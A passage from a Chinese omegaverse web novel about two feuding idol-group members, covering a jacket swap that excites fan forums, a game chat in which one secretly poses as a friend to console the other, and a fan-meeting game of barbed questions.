汤昼恒的情绪来得快,去得也快,到了这时,仍旧试图和方柏嘉讲道理,强压下心中的那点不悦道:“不管怎么说,因为和我生闷气就错过治疗的时机,都是很幼稚,对自己很不负责的行为。” “……谁生气了!谁又幼稚?”方柏嘉听了这话,差点从他怀里跳起来。 年轻的alpha梗着脖子,反驳得却并不是很有底气。讲出这几个字时甚至没好意思看着对方,说着说着就撇开眼。 “你没有吗?”汤昼恒从嗓子眼里发出极浅的一记呵声,反问方柏嘉。 “假如今晚没有被我发现,你打算什么时候再跟我提起这事?——等你又像上次在拍摄场地那样,也差点在表演的时候晕倒?” “明知道自己身体不舒服,还放任自己耍小脾气不采取行动补救,这不是对自己不负责是什么?” 方柏嘉被他说得哑然,一时间还真不知道该怎么回应。心想,原来汤昼恒早就看出他今天状态不对。 那他是不是在发现项链丢失的第一时间便猜到了原委? …… 方柏嘉强行遏制了思维继续发散的趋势,转念一想,又觉得汤昼恒是咒他的吧,明明没发生的事还要乌鸦嘴一句,万一自己后面真晕了,一定是汤昼恒的错。 不肯认输,他嘴上冷冷憋出一句:“谁说我没有采取行动了,我那不是——” 拿了汤昼恒的项链中场救急吗。 话音猛然停顿。 他突然开始怀疑这是不是汤昼恒的阴谋诡计,前面铺垫了那么多,就是为了钓他说出这一句。 方柏嘉及时醒悟,脸上又开始发热,什么都没有再说,重重地“哼”了一声,又倒回汤昼恒的臂弯里。 声音闷闷地道:“你爱怎么说怎么说。” 汤昼恒深深地看着他:“我不爱怎么说,我只想知道,如果我一直不来找你,你下次伪感期打算怎么办?还有下下次,下下下次——” 不对,准确算来,下下次就又到了方柏嘉的易感期。三月一轮回,很快的事。 易感期的猛烈程度不像伪感期那么好糊弄,到时候方柏嘉又该向谁求助? 倘若他真的铁了心要和汤昼恒闹掰。 从与方柏嘉的相处中汤昼恒已经看出,对方并不是一个随便的人。至少在酒店里,那种明知道自己吃不了抑制剂的情况下,一些荤素不忌、又耐不住寂寞的alpha估计早就打开手机喊人上门了。 可方柏嘉一没通知汤昼恒,二不曾叫任何人过来,就说明他的选择几乎少到没有。 汤昼恒这样问不是为了嘲讽什么,而是想确定方柏嘉是否有第二个方案。 可这话听在方柏嘉耳朵里,俨然又变了味道,像汤昼恒明知道自己的不可或缺而向他示威。 他耳根发热,语气很冲地道:“不怎么办,我的事不用你管。” 除此之外,也确实没有什么话好回答。 因为方柏嘉根本没想那么远。 汤昼恒总是出现得很及时,在方柏嘉还没来得及思索出其他可能性的时候,就已经替他将问题解决。一而再再而三,方柏嘉哪还考虑得到别的备用人选? 对话进行到这个地步,两人间的氛围已经僵得不能再僵。 汤昼恒言尽于此,见方柏嘉如此的不配合,也不再多说。 方柏嘉余光见他脸色骤冷,心里咯噔一下,其实讲完就觉得自己说话太重,却又不好意思立刻低头认错,整个人的身体都僵硬了。 还以为汤昼恒下一秒就会以“反正你的事也不用我管”的理由叫他从他身上下来,但对方到底没有多说什么,还是任由方柏嘉靠在他的怀里。 等到剩下的时间结束,才从卧室大门离开。 第34章 第 34 章 你被人甩了? 新的一天, 又要凌晨四点多爬起来上工。 打歌行程要持续快两个星期,这中间就是不断地飞去各个城市,每天早起做造型、去电视台预录, 录制完现场进行直播表演。 凌晨的车上一片寂静,成员们睡得歪七扭八, 都在抓紧时间补觉。 到了地方,又被经纪人的一声声催促叫起。 方柏嘉冷不丁睁开眼睛, 醒了过来, 手捂住嘴打了个哈欠。刚准备起身离开座位, 坐在斜前方的汤昼恒却像脑后长了眼睛, 转回身来拉住他:“等等。” 方柏嘉抬眼, 一脸的不解。 就见对方将身上一直穿着的那件外套当着他的面脱下来, 隔空抛给方柏嘉道:“穿这个。” 方柏嘉接住,把衣服展开看了看。 倒也明白了对方的意思,脑子一抽, 还是忍不住问:“……这样合适吗?” 汤昼恒身子都已经转回去了, 闻言又回头多看了他一眼:“你穿了我的外套, 会怎样吗?” 方柏嘉:“……” 也不怎么样。 顶多让cp粉开心一下吧。 毕竟除了他们的cp粉,也没几个人会因为方柏嘉穿了对方的外套就觉得他和汤昼恒的关系好。 ……他和汤昼恒的关系本来也不好。 说完那句话方柏嘉也觉得自己的问题很傻,一件衣服而已, 又不是什么贵重物品。 这样想着, 他也无所谓了,三两下把自己原本的外套脱下来,将对方给的那件套好。 想说来而不往非礼也,要不然把他这件给汤昼恒用,结果还没来得及开口,汤昼恒已然单手插兜地拉开车门出去了。 “。”方柏嘉只好把话咽回肚子里, 跟在对方身后下了车。 事情果然和方柏嘉想的一样,早上的上班路图频出来之后,很快有眼尖的粉丝扒出他身上穿着的外套是汤昼恒的同款,在论坛里风风火火地讨论起来。 【这什么情况?太阳打从西边出来了?】 【众所周知不不以前从来不买这个牌子的衣服,其他队友也没见穿过这件的同款,那他这件衣服是谁的呢?好难猜啊。】 【有没有可能这是品牌赞助?最近小道消息不是都在传老三在接触某牌】 【看我发现了什么……这是我在其他平台刷到的今早的路人酒店偶遇图,注意看!!!这里的老一身上穿着的就是不不后面这件衣服,不不自己穿着他那件出镜了很多次的D牌外套。到了目的地再出来老一身上只剩里面那件衬衣了,而外套直接平移到了某人身上,这下可以锤了吧。】 【我凑,明明自己有衣服还要穿别人的是什么情趣play】 【感觉像是山川相缭在直播事件后怒而想出来的营业小巧思。】 【不不这个绝对不和别人穿同一件衣服的事逼性格,是怎么突然想不开要穿他最讨厌的老一的衣服的?】 【你不如问他是怎么做到在和别人闹得那么难看后还能装没事人一样麦麸营业的,赵danny与其搞这些没有的不如当初别让不不当众说出那种话,热搜都上了梁子也结下了,小行星小方糖打生打死一个多月现在知道挽回了,闹呢。】 【怕公司处罚呗,隔壁公共区那个据说是某音乐平台员工的楼主不是爆料过,直播下来不不就被赵拉去训了起码十分钟,不不再怎么拽也是公司员工,真惹高层生气了不得停他活动?】 【说只是营业指标的过来看这个[网址链接]官方六点钟的时候刚放出的MV拍摄花絮物料,直接拉到4:11,有没有觉得某个场面似曾相识?对咯,拍MV的时候哥也把衣服给比穿了[吐舌]】 …… 总算有了新糖,cp粉端起碗就嗑了起来,当中也不乏拆家和唯粉说些扫兴的风凉话。 方柏嘉下班途中坐在车里翻了会儿,觉得没意思。 他本来是想监控一下“舆情”,怕粉丝脑补得太厉害,真发现了他和汤昼恒的不对。 一见论坛里好多都是在说两人特意营业的,又转变成另一种不爽,报复性地用小号转到他和汤昼恒的cp超话狂刷了一通。 看到里面一片和乐融融、喜气洋洋,这才出了口气似的,又把软件关了看别的去了。 转念一想,不对啊,自己和汤昼恒还闹着别扭呢,他在这儿在意别人怎么看他俩cp的是怎么个意思。 啧。 尽管平常依旧不怎么说话,就算说了也只是“那个东西你帮我拿一下”或者“要准备上台了”这样的通知,方柏嘉还是在这样半冷战的气氛下,和汤昼恒诡异地保持了好几天心照不宣的换衣流程。 CP粉欢呼一片。 这样的动静,其他队友不可能不发现。然而出乎方柏嘉意料的,他们并没有多说些什么。 只有某天中午录制完一块吃饭,坐在对面的丞绪看着方柏嘉身上的外套,一脸若有所思地道:“通过换衣服这种引人遐想的卖腐方式来洗清团内不和的嫌疑吗?有意思。” 方柏嘉:“……” 合着不仅是观众,就连队友就觉得他俩是奉旨在卖。 * 接连打了几天的歌之后,他们终于要在周末迎来一个小型的粉丝见面会。 活动下午四点才开始,明天不用早起。 难得有一晚上可以享受一下自由的休闲时光,方柏嘉吃完饭没多久就钻回了自己的房间。 想要写歌,脑袋里却都是些什么“打倒渣男”“离开你我会变更好”之类的主题,太魔性了。 他思考了一下,还是决定先把创作的事放到一边,在手机上打开一款竞技游戏玩了起来。 结束一局,回到大厅,方柏嘉正准备开第二场。 横向的屏幕中间突然跳出一个来自列表好友的排位邀请。 是“丑猫爱好者”。 不过他在游戏里不叫这个名,而是“抽象丑猫bot”。 ……并没有比微信id更好。 方柏嘉点了接受进去,在房间里发文字消息。 奶油狗:【又在等夜戏?】 对方的回答很是简洁。 抽象丑猫bot:【嗯。】 抽象丑猫bot:【你玩什么,还是ad?】 丑猫爱好者不喜欢开麦。 曾经方柏嘉也问过对方要不要开语音交流,对方往往以“在外面拍戏,不方便”这类的话给拒绝了。 方柏嘉也能理解。 众所周知,xx荣耀一直是明星艺人社交兼打发时间的通用工具,平时在路上、在化妆间里,等着上工又没事做,一局平均时长不超过半小时的竞技类手游就很适合用来填补空白。 长久以来,方柏嘉便培养出了“丑猫爱好者喜欢在工作前玩两把”的印象,每回在游戏上遇见他,都会习惯性地问一句。 奶油狗:【都可以啦,补位也可以。】 抽象丑猫bot:【好。】 说出去大概没人信,丑猫爱好者私下里是他的游戏搭子。 一开始也是像现在这样,是对面先朝他递出的“橄榄枝”。 第一次接到组队申请,是在出道差不多有一年的时候。方柏嘉以为对方不小心点错了,犹豫了一会儿,选择了忽略。 是丑猫爱好者锲而不舍地又给他弹了一次消息,方柏嘉才一脑门问号地点了同意。 后来想想,估计这人就是这样,单纯只是想找人双排。可能当时把好友列表里在线的人都点了一遍,刚好只有方柏嘉应了。 打完一局,方柏嘉发现丑猫爱好者的技术还真的不错,回到房间,二话不说又开了一场。 当晚方柏嘉一共和丑猫爱好者打了七把游戏,虽然没怎么说话,却像是有了约定俗成。从那以后,只要赶上同时在线,他们都会一块玩上一会儿。 频率其实也不高,一个月有那么三四次。 两人在游戏里认识了快三年,始终保持在这样一个君子之交淡如水的诡异状态。微信上基本没有联系,现实中甚至不算认识,游戏里等排队的功夫倒是能聊几句,属于半熟不熟的网友。 打着打着,方柏嘉又想起他送出去的小橘白了。 有心想问问对方答应的照片什么时候发,又不想太频繁的催促引来反感。 趁着死了等复活的时间打开微博,方柏嘉搜出对方的账号翻了两眼,想说找个话题引导一下,却破天荒地在那人最近一条九宫格里看到了某只毛茸茸的橘色身影。 定睛一看,时间就在几天前。 虽然只有两张。 挤在九宫格的角落里,拍照风格也延续了丑猫爱好者一贯抽象派的传统,还是看不清脸的背影和脑袋顶,但也很令人感动了。 从泉水里复活出来,方柏嘉满脑子想的都是猫的事。 一局游戏结束,他返回房间,迟迟没有进入准备状态。 抽象丑猫bot:【?】 方柏嘉飞快打字。 奶油狗:【我看了你最新的微博】 奶油狗:【你居然发了小猫的照片!】 奶油狗:【这个没关系吗?不是说你和前对象在争夺猫产……?】 丑猫爱好者那边停顿了几秒:【哦,这个没事,已经解决了】 奶油狗:【解决了是指?】 奶油狗:【该不会是把人解决了吧[抖]】 抽象丑猫bot:【……】 奶油狗:【。】 奶油狗:【开玩笑的】 抽象丑猫bot:【嗯,我知道。】 抽象丑猫bot:【就是已经说开了,把之前的一些误会解决了,彼此互不打扰,以后想猫了也可以把猫送过去让对方养一段时间那样。】 奶油狗:【噢……】 方柏嘉发出了意味深长的感叹。 奶油狗:【果然一切分手后的纠纷都是因为心有不甘。】 奶油狗:【哎,真好。羡慕你,不像我。】 抽象丑猫bot:【……?】 没想到自己随手编的理由居然引发了方柏嘉的感慨,他忍不住问:【这有什么好羡慕的?】 奶油狗:【就,好歹也算解开问题了?总比悬而未决,一直纠缠不清好吧。】 对面很敏锐地捕捉到他话里的异样,试探性道:【你最近是遇到什么感情上的问题了吗?】 他表现得有这么明显吗? 反正一时半会开不了游戏,方柏嘉在床上翻了个身,单手撑头地歪脸看了屏幕好几秒,才打字:【算是吧。】 在他发出这句话后,房间里沉默了好一会儿。 像是考虑良久,另外那人才慢慢来了一句:【你想和我说说吗?】 大概觉得这样有点冒昧,他又补充。 抽象丑猫bot:【没有别的意思,就是感觉你今天打游戏时兴致不高。你想讲就讲,不想讲也没事。】 抽象丑猫bot:【只是觉得说出来应该会好受很多。】 有道理。 方柏嘉换了个歪头的方向继续思考。 还没思考出结果来,他禁不住说:【突然发现你讲话好有哥感怎么回事?】 奶油狗:【和你照片上给人的感觉很不一样。】 怎么反而和汤昼恒有点像。 据方柏嘉所知,丑猫爱好者——真名叫骆察,还有一个叫齐安歌、一个叫秦高阳的,都是汤昼恒那个小圈子里的。 四人在还是不知名十八线小糊咖的时候就认识了,是汤昼恒以前在演艺圈里一起打拼的好友,即便汤昼恒现在咖位飞升了,他们的关系依然不错。 方柏嘉对着屏幕嘀咕,怪不得汤昼恒能和丑猫爱好者玩到一起呢,难道这就是物以类聚,人以群分? 他在这儿打字,甚至感觉对面坐着的就是正与他有着两墙之隔的那个人。 抽象丑猫bot:【?】 抽象丑猫bot:【我照片什么感觉?】 方柏嘉竟然还会仔细看骆察的照片。 奶油狗:【反正和你现在说话的风格不大像】 奶油狗:【哎,其实也不是什么大事,就是我失恋了】 奶油狗:【好难受,我喜欢的人不喜欢我。】 按理说他和对方不熟,不该就这么把隐私的话题诉之于口。方柏嘉好歹是一线男团的大热成员,随便一点八卦不知能养活多少营销号,这点警惕心还是得有。 但不知道为什么,他就是觉得丑猫爱好者是可以信赖的。 可能是出于清澈愚蠢的年轻人对一起打游戏的网友莫名的信任吧,外加一点发泄心理在。 而且从网上的相处言谈来看,丑猫爱好者这个人就给人一种很沉稳的感觉,不急不躁,让方柏嘉觉得和他说话很舒服。 虽然和对方在社交媒体上呈现出的形象有些割裂,不过对外营业和私下聊天有所不同也很正常。 方柏嘉没多想。 抽象丑猫bot:【…………】 这句话带来的信息量有点大,对面隔了起码有半分钟才蹦出下一句。 抽象丑猫bot:【你被人甩了?】 第35章 第 35 章 那你喜欢什么类型的?…… 这回换成方柏嘉【…………】了。 奶油狗:【看你怎么定义“甩了”这个词了。】 奶油狗:【非要这么说也算是吧, 性质差不多。不过我和对方并不是正在恋爱的关系。】 奶油狗:【呵呵,只是我一个人的少年心事罢了[面条泪]】 为了让说出来的话看着不那么心酸,方柏嘉还幽默了一把。 大约一分钟后。 抽象丑猫bot:【……你很喜欢他吗?】 方柏嘉突然发现对方有点奇怪, 往常丑猫爱好者回复没这么慢的,今天这是怎么了, 说一句话就要停一会儿。 奶油狗:【0.0看你这么忙,是快拍戏了吗?是的话我就先不打扰你了。】 奶油狗:【应该算是很喜欢吧, 一想到这辈子泡不到他, 我的人生感觉都失去了很多色彩】 奶油狗:【哎, 而且我还给他花了好多钱。】 其实对于他们这些208w来说, 这点钱也不算多。 方柏嘉自己就是爱豆, 没法亲自出面去签售, 也不追线下,唯一能购入的也就是专辑小卡、拍立得、棉花娃娃等等各种周边同款。 他热衷于收藏,看到喜欢的会买成复数。 之所以突然提起这个, 是因为方柏嘉打游戏前正在房间里清点他那堆汤昼恒的周边, 又一次准备把这些东西给出了。 他这人就这样, 一觉得汤昼恒哪里惹到他了就小发雷霆,赌气似的想把身边所有和汤昼恒有关的物件都通通清出角落——其实对汤昼恒本人毫无威胁力。 方柏嘉翻着翻着吓了一跳,粗略数数, 自己这些年应该花了有七位数。 扔了吧, 可惜。 在网上低价或者免费送了吧,又担心被不珍惜的人或贩子抢到,这怎么说也是他的珍藏。 搞得他一气之下打开游戏玩了起来。 抽象丑猫bot:【没有,只不过我在思考该怎么安慰你。】 抽象丑猫bot:【……你不觉得他这样很过分吗?】 抽象丑猫bot:【如果两个人之间的关系只能靠金钱来维持,那就证明这段关系是不健康的。】 抽象丑猫bot:【我不理解你为什么还会喜欢这种人。不劳而获,而且为人轻浮。】 没确定关系又花了对方很多钱。 这不是纯捞男吗? 怪不得之前方柏嘉也总说要给他花钱, 还什么五分钟十万的,原来源头在这儿。 汤昼恒现在是真的有点担心方柏嘉的个人财务管理了,不知道他这些年赚的收入最后存下来了多少。 他知道方柏嘉和家里关系不好,现在应该已经和父母都断绝了关系。这种原生家庭里出来的小孩没有经历过家长的托举和培养,很可能缺乏正确的消费观念,导致在太多不必要的地方投入大笔支出。 汤昼恒想提醒一下对方,又觉得这样未免有些爹味,而且“骆察”作为一个网友,也不可能莫名对他说这些,在输入框里反复键入又删除两次,还是算了。 点到即止,他没有再往下说,但脑海里已然脑补出方柏嘉痴恋某人不成砸钱示爱,最终还是不了了之、心灰意冷的全过程。 奶油狗:【啊?】 是不是有点扯太远了? 方柏嘉看了一愣,第一反应是有点生气。 这人怎么这么说汤昼恒啊! 下一秒反应过来,知道对方自动理解成了那种“花钱”——不过也不怪他,自己说的话确实容易引起歧义。 方柏嘉也不可能给“骆察”解释说我的钱都花在买明星周边上了,那多诡异。 大概是感受到对方语气中的严肃,出于某些心虚的心理,方柏嘉不自禁为背上背了口锅的汤昼恒辩解:【其实也还好。钱都是我自己想给他花的,他也没有要求过我什么。】 不如说汤昼恒根本就不知道。 方柏嘉继续澄清:【而且!他还是有很多优点的!】 奶油狗:【……哎,其实这么想想,喜欢他是我自己的事,他本来也没有义务对我怎么样。你还是不要这样说他了,我看了心里难受。】 “骆察”怎么也是汤昼恒的好哥们儿,这么在无形中嘲讽了汤昼恒算怎么回事。 抽象丑猫bot:【……】 非常典型的恋爱脑发言,显得对面的成串句号像在面无表情地口吐白沫。 隔了半天,那人才似乎忍无可忍地用最后一点耐心回。 抽象丑猫bot:【所以你现在在纠结的是什么?】 方柏嘉思考良久。 奶油狗:【我也说不好。还喜欢他,但是又因为一些事情很生气,不想喜欢他了,可是一时半会又走不出来。】 本以为丑猫爱好者又要凭空消失片刻,方柏嘉都已经准备调出其他app的界面来刷了,对方却冷不丁很快来了句: 【为什么不试着和其他人接触看看呢?】 其他人? 方柏嘉看到这里,愣了一下。 琢磨了一会儿对面的意思,他慢慢敲字:【我倒是也想,遇不到更好的啊。】 要找到比汤昼恒更让他心动的人,哪儿有那么容易。 而且方柏嘉其实也不是很想谈恋爱,他就是单纯喜欢汤昼恒而已。 对方这回回得更干脆了,像是完全未经思考地:【你审美有问题。】 奶油狗:【?】 ——什么玩意,给我撤回!!! 方柏嘉差点就把这句话发出去了。 居然说他审美不好…… 方柏嘉一时间不知道他是更为自己的眼光被看低而生气,还是为汤昼恒被诋毁而愤怒。 汤昼恒很帅的好不好!不仅长相让人挑不出错,身材更是顶级。 而且还高。 而且还大。 除了有点渣以外各方面都很完美。 方柏嘉的审美高级得不能再高级了。 也许是也觉得自己刚才那句话太过生硬和不友善,丑猫爱好者很快找补。 抽象丑猫bot:【我的意思是,不可能遇不到更好的。只不过你太沉湎于当下,失去了发现美的眼睛。】 抽象丑猫bot:【你如果有兴趣的话,我在圈里认识一些人,可以介绍给你。】? 方柏嘉看了直犯嘀咕。 不是哥们儿。 我怎么说也是顶流爱豆,你在这儿想给我介绍对象是什么情况,太热心了吧。 到时候要是被扒出来你可得负全责。 方柏嘉语意不明。 【介绍omega?】 对方回答得四平八稳。 【你想认识其他性别的也可以。】 啧。 好微妙的回答。 方柏嘉蹙着眉头,心里猛然打起突突。 丑猫爱好者今天的表现不对劲。 破天荒地和他说了这么多话不提,字里行间都是在劝方柏嘉赶紧放弃现在喜欢的人去接触下一个,还说要给他介绍—— 他们有熟到这个份上吗? 明明之前都还淡淡的。 说白了,两人虽然时不时在一起打游戏,但本质上没有那么亲密。所谓游戏搭子就和上班搭子一样,工作的时候为了消遣解闷,当然是表现得关系不错,可一出了公司谁还在乎谁? 否则方柏嘉就不会在和他开玩笑后还要特意解释一句,也不会要个小猫照片还再三思量。 这会儿对方却一反常态地操心起他的感情状态了…… 方柏嘉对着手机屏幕深吸口气。 糟了。 他怎么就忘了,骆察是汤昼恒的朋友这一点。 该不会其实汤昼恒早就知道他们私下在一起打过游戏,这次又把他和自己的事告诉给了丑猫爱好者,是专门派骆察来转移他的注意力的吧? 只要顺利给方柏嘉介绍了新人,汤昼恒这边就能翻篇,不会再被方柏嘉给缠住—— 好心机深沉的计策! 为了达成目的,竟然不惜在方柏嘉面前贬损汤昼恒的形象。 骆察的那句“你想认识其他性别的也可以”,几乎更是实锤,细品起来别有深意。 一般人给alpha介绍对象,除非明知道对方喜欢A,否则肯定都默认是主流大众AO恋,怎么会这么想当然地接出这种话? 方柏嘉又没跟他说过自己的性取向。 方柏嘉想了想,小心翼翼地试探着问:【真的其他性别也可以吗?那你的alpha朋友里有没有还在单身的啊?】 “骆察”仿佛也察觉到异常,同样谨慎地说:【为什么这么问?】 难道方柏嘉觉得他那几个朋友里有符合他审美的? 奶油狗:【就是觉得奇怪,你认识的alpha是都已经谈恋爱了吗?你不给他们介绍,却介绍给我?[惊讶]】 网线对面的人一愣。 正斟酌着想打字,却看见游戏房间里的聊天界面又跳出两条。 奶油狗:【其实是我有认识的omega朋友最近想谈恋爱所以问一下啦】 奶油狗:【你又不知道我喜欢什么类型的】 方柏嘉画风一变,忽然改了口。 “骆察”却对这件事很执着:【那你喜欢什么类型的?】 见状,方柏嘉不由得冷笑一声。 哼,果然被他抓到把柄了吧。 莫名其妙对他的理想型这么上心。 奶油狗:【……不告诉你,秘密。】 奶油狗:【否则万一被你偷偷告诉别人了怎么办】 他似真似假地来了这么一句。 抽象丑猫bot:【…………】 抽象丑猫bot:【你前面跟我说这些,怎么不怕我拿出去到外面讲?】 方柏嘉心说你讲啊,没指名没道姓,聊天背景还是游戏房间,算什么锤。 就算流传到粉丝堆里也会被当成造谣咔掉的程度。 而且对方要真是汤昼恒派来的,那就更不可能有这种问题了。 汤昼恒明显是不会张扬的那种风格。 这么想着,他嘴上却答:【因为我比你咖位高】 奶油狗:【而且我们还是一个公司的】 奶油狗:【你敢把这件事情讲出去,哼】 奶油狗:【不要怪我跟公司施加压力给你穿小鞋!】 抽象丑猫bot:【…………】 汤昼恒倒想知道,一个闯了祸会被经纪人拎去小黑屋谈心十分钟的人能给人穿什么小鞋。 抽象丑猫bot:【我知道了,不会的。】 奶油狗:【这才对嘛。】 奶油狗:【你的心意我收下了,不过我现在也没空认识别的人,再说。】 一想到自己和骆察的这段聊天内容很可能会被转告给汤昼恒,方柏嘉就有一种脚趾挖出大城堡的紧迫感。 人果然还是不能轻敌。说到底他和“骆察”只是个现实生活中都没正式见过面的陌生人,他当时怎么就放心和对方交谈起来了呢? 棘手。 感觉也套不出什么信息,方柏嘉尴尬得头皮发麻,想下了。 趁着对方没再说话,以最快速度道:【时间不早,不想玩了,要早点睡觉。下次再打吧[哈欠][困]】 抽象丑猫bot:【嗯,再见。】 方柏嘉看到他的回应,便离开了房间。 Q版比格头像从视野里消失了。 汤昼恒也干脆将游戏退出后台,把手机放在床头柜上,拿起一旁待看的剧本翻了起来。 一边阅读,一边用红笔做简单的勾画和批注。 然而冷不丁的,在某次放空的时候,汤昼恒又想起今天他们二人之间的对话。 从方柏嘉谈话过程中透露出的要点来看,自己之前猜测的方向是对的。 对方喜欢某个人,但他们之间基本没可能了。 所以方柏嘉现在感到失落,甚至表现出想要往前看的意图,虽然不算特别强烈,但也是一个好的征兆。 这与汤昼恒本人的意愿无关,只是因为他不希望方柏嘉在感情方面受到冷待,不管对方是谁。 ……遇不到更好的。 汤昼恒的手几乎是下意识地操纵笔杆,在剧本纸页边角的空地上画了个圈。 他面无表情地歪了下头。 所以,只要比那个不知道是谁的人更好就行? 第36章 第 36 章 遇到这样的男的你就嫁了…… 方柏嘉嘴上说要早点休息, 最后还是折腾到凌晨三点才睡着。 只因他的大脑实在精神得过分,一晚上满脑子都想着这天和“骆察”的对话,觉得自己的猜测都是真的, 越想越是脚趾扣地和绝望,头抵着枕头辗转反侧了半天, 中间一度猛地从床上坐起来惊魂未定。 ……不是,汤昼恒到底要干嘛啊? 他不就喜欢了他一下, 至于这么全方面围追堵截吗? 自己散发魅力那么大, 把当初年幼无知的方柏嘉给迷倒了, 从此走上不归路。 结果发现喜欢上的是个坏男人。 他还没找汤昼恒要货不对板的精神损失费呢! 醒来后的方柏嘉感觉自己怨气重得像鬼。 这样的情绪难免被他带到了下午的粉丝见面会上, 开场足足快一个小时, 他和汤昼恒都没怎么搭理过对方。 就算偶尔在台上有接触, 也是帮忙递个话筒、在对方说话时象征性地鼓鼓掌这种程度。 和其他人的对比强烈又明显。 ——当然,即便是抛开昨天晚上那茬,两人这几天本来也没什么交流。 见面会的活动形式大概是演唱会和综艺互动展示的结合体, 有一定时间的歌曲表演, 也有很大篇幅的聊天和游戏环节, 相比起前面千篇一律、绝大部分时间都在舞台演出的打歌活动,整体来说更具有趣味性。 但也更容易暴露出人际关系上的问题。 活动同时会在网上开放付费直播,同时在线的几十万观看人数里, 就有不少人发现了端倪。 【我去怎么回事, 诺亚方昼这两个人完全0互动啊。妈妈可不可以请告诉我,那些前几天发过的糖是真的存在过吗?】 【方舟批又要躲在被窝里悄悄哭了。】 【前面说的糖该不会是其他家都在勾肩搭背糖点百出的时候方舟这些天有且仅有的唯一一个每个男团都会出现的公式化麦麸之穿衣服吧(而且还是穿完了依旧毫无互动的那种】 【怒那讲话好狠啊】 【两位小哥哥我以为我们方舟批等了四年终于要迎来春天了,结果你们就这么对我[微笑]】 【不卖腐给我滚回去当素人!!!】 【所以穿外套真是公司给方舟下的营业指标啊?】 【之前就想说这俩人这几天卖得很刻意,除了每天这一点固定的糖外还有啥,真关系好的人怎么可能衣服都换着穿了但平时互相鸟都不鸟。方舟批还磕糖说老哥让不不穿自己外套是宠妻,jdl, 他们这么做难道不是因为不不龟毛又矫情忍不了别人穿他的衣服,只有老哥更好说话?】 【老三屁股不能着地的比格恶霸塑又来了是吧】 【诺亚方昼卖也卖得这么僵硬真是没救了,离了公司安排的剧本什么也没有】 【说到公司安排,这周末《时旅家》就要播出了,燈丝们说实话,你们对老一单独上老三常驻综艺这事看好吗?】 【理解公司在出了那件事后急切地想要让13在大众面前装哥俩好的心情,但看目前的架势……我只能说scxl你自己加油吧】 【不敢想这两人一起上节目有多尴尬,已经可以预想到到时候小行星小方糖揪着一些nbcs的细节满论坛刷屏开审判贴的场景了】 【大家那天记得退网保平安[心]】 …… 台上。 在又唱过两首歌之后,紧接着的是游戏环节。 这次的游戏名字叫做“当然了”,需要成员们两两组队PK,比赛方式是双方轮流向对面提出一个问题,然后另一个人回答“当然了”—— 回答不上来就要接受惩罚。 可能有些人会觉得,仅仅只是说一句“当然了”有什么难的。 然而这个游戏的精髓,就是在于提问的人要想办法、尽可能地找到对方的弱点,说出一些刻薄或者刁钻的话,让那个人破防也好,碍于面子也罢,没法做出相对的回应。 简单来说,就是互相伤害。 戏剧效果很足,但稍有不慎,也可能成为粉丝打架的导火索和材料。 主持人宣布完游戏规则,直播界面上的弹幕立刻炸开了锅。 【妈呀敢玩儿这个游戏昂佛壁灯官号的大转发山川相缭你是不想要了】 【感觉任何一句稍微重点的话都会被dw拎出来爆骂】 【哪个策划敢把13分在一组???我想看】 【我看楼上是悠闲日子过多了想再吃半个月论坛被13两家粉丝日穿了的苦】 【所以另外四家粉是因为战斗力太弱直接被无视了是吗hhh】 分组是随机抽签决定的。 老天也没那么drama,没把两个万恶源头放在一块儿,最后的两两配对分别是杭泽宇和汤昼恒、江白树和方柏嘉、丞绪和陆翰音。 输了的惩罚则是现场制作、没有任何额外添加的鲜榨柠檬汁—— 陆翰音出于好奇,在游戏开始前要求尝一尝是什么味道,喝了一点就被酸得面部表情失控,看得方柏嘉也在旁边直皱眉。 他和江白树是最先上场的。 台下零星有粉丝的尖叫,方柏嘉从队列中往前走出三步,说:“谁先?” “你先吧。”江白树说。 “行。”方柏嘉也不扭捏,思考了几秒就冷静开口,“你知道这次主打你每次做到副歌部分的舞蹈动作都超搞笑对吧?” 【woc一上来就?】 【老三还是那个冷不丁mean一下的味儿】 【硝烟的味道已经在弥漫了】 “…………”江白树肉眼可见地呆了一下,狠狠咬了咬牙才从牙缝吐出三个字,“当然了。” “到我了!”他被方柏嘉激发出斗志,眼中射出精光,“你每天写歌写生写死,粉丝还夸你是天赋型创作选手,结果最后被选来用作专辑主打的数量为0,其实你早就不想在队里干了想要单飞对不对!” 没什么难度的问题。方柏嘉眼皮跳了一下,举起手麦迅速回答:“当然了。” 旋即又转身补充:“所以我决定一等到六十岁就停止团体活动,正式成为solo歌手。” 【?老四今天胆子这么大,这个发言有点危险啊。】 【笑死,都变成老头了还和队友在舞台上唱跳是吧】 【脑瓜转得好快啊……老三倒是挺会媚团粉】 【众所周知不不是可以高情商的,只不过要看他心情】 停了一下,方柏嘉开始反击:“你每天夜里都会偷吃酵母,有一次不小心在餐桌边睡着了结果被杭泽宇夹上咸菜就当成馒头啃了。” 这是在讽刺江白树的易水肿体质。 听到这儿,旁听的杭泽宇立刻做了个“怎么还跟我有关”的无辜手势。 江白树翻了半个白眼,无语地笑了出来:“……当然了。” 又轮到他出击了。 江白树诡异地沉默酝酿了会儿,突然深吸口气,机关枪似的开口: “你从出道起就一直表现得看汤昼恒很不顺眼,处处the one又放狠话说要压他一头显得超级嚣张,但我知道其实你是我们队长的无敌崇拜者,这是你深柜他的表现其实你对他的一举一动都超级在意!——” 说完这一长段话,江白树缺氧般大口呼吸起来。 台下倒吸冷气声一片。 【卧槽老四火力全开了】 【毕竟馒头也不是好惹的】 【不儿,这么大胆提起如此禁忌之事馒馒不要命了???小树苗请注意,一级警戒!!!一级警戒!!!】 ……这家伙看来是想挨揍了。 江白树话音刚落,方柏嘉就瞪了他一眼。 对方接收到他的眼刀,举起双手做无辜投降状,鬼鬼祟祟地示意导播将镜头切到方柏嘉的脸上,意思是:看看他现在的表情。 方柏嘉好气又好笑,更多的是因为汤昼恒就在身后不远处的心神不定,刚张嘴做出仿佛要骂人的架势,江白树立刻指着他说:“诶!注意,说了别的你就输了。” 方柏嘉只得又无奈闭嘴。 举在嘴边的话筒小幅度地抽离又贴近到唇边两三次,才宛如吃了哑巴亏般,不耐烦地小声嘟囔:“……当然了。” 【难得看到不不吃瘪啊啊啊表情超搞笑】 【老三回答的时候嘴角都抽搐了,其实感觉挺乖的怎么回事】 【突然想起了公司的卖腐叮嘱吧】 方柏嘉和江白树唇枪舌剑,一连进行了好几个回合,都没有分出胜负。 “感觉这两个人都是抱着要整死对方的心态来的。”陆翰音在后面轻声吐槽。 杭泽宇也附和:“好像真的要发展成深仇大恨了。” 最后丞绪在旁边实在看不下去,建议让他们一人喝半杯柠檬汁就算结束。 